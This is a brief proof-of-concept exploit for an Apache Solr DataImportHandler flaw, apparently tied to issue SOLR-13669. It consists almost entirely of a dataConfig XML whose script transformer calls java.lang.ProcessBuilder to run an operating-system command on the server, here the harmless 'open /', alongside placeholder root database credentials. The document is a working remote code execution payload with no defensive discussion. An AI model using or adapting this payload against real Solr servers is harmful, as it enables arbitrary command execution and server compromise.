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POC:
<dataConfig>
<dataSource name="fromMysql"
type="JdbcDataSource"
driver="com.mysql.jdbc.Driver"
url="jdbc:mysql://localhost:3306/mysql"
user="root"
password="123456"/>
<script ><![CDATA[
function f2c(row) {
var x=new java.lang.ProcessBuilder;x.command("open","/");org.apache.commons.io.IOUtils.toString(x.start().getInputStream());
return row;
}
]]>
</script>
<document>
<entity name="Users" query="SELECT 1" transformer="script:f2c">
</entity>
</document>
</dataConfig>
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https://issues.apache.org/jira/browse/SOLR-13669